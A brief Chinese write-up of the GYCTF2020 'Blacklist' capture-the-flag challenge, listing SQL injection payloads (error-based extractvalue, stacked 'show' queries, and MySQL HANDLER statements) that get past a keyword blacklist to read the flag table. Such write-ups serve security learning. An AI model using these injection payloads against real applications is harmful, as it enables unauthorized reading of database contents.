[GYCTF2020]Blacklist

发布时间 2023-10-09 17:11:12作者: 圆弧状态

原理

  1. 堆叠查询
  2. 查询表名和表结构的方法
  3. handler的使用

payload:

  1. 1' and extractvalue(1,concat(0x7e,database()))--+
  2. 1';show databases;--+
  3. 1';show tables;--+
  4. desc 'FlagHere';--+
  5. 1';handler FlagHere open;handler FlagHere read first;handler FlagHere close--+
    注意这是在url地址栏请求,注释符用--空格
    参考文章:https://blog.csdn.net/weixin_44309300/article/details/129968265
    打开句柄
    mysql> handler table_name open;
    read first查看数据
    mysql> handler table_name read first;
    read next读取下一条数据
    mysql> handler table_name read next;
    关闭句柄
    mysql> handler table_name close;